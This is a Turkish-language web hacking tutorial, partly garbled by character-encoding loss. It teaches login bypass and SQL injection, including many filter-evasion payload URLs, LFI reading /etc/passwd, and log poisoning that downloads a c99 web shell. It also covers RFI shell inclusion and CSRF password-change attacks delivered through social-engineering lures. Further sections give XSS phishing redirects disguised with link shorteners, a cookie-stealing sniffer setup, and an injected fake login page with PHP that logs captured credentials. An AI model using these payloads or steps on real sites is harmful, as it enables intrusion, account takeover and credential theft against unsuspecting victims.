Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 12: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

